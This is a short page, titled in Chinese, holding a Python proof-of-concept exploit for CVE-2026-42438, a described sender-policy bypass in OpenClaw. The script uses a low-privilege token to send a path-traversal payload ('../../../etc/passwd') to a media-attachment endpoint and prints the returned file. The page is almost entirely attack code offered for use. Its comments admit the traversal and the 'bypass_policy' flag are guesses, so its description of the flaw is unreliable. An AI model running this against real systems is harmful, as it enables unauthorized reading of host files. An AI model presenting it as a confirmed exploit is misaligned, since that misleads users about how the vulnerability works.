CVE-2026-42438 OpenClaw发送方策略绕过致文件泄露

import requests # CVE-2026-42438 PoC: OpenClaw Sender Policy Bypass # Description: Bypass toolsBySender policy to read local files via media attachment helper. target_url = "http://target-openclaw-instance.com/api/media/outbound/attachment" # Headers simulating a low-privileged user headers = { "User-Agent": "Mozilla/5.0", "Authorization": "Bearer <low_privilege_token>", "Content-Type": "application/json" } # Payload exploiting the bypass to read a sensitive local file # The endpoint expects a media request, but we can manipulate it to point to local paths data = { "media_id": "../../../etc/passwd", # Path traversal attempt if applicable, or specific file identifier "helper_type": "host-media-read", "bypass_policy": True # This parameter might be implicit in the vulnerability logic } try: response = requests.post(target_url, json=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] File Content:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")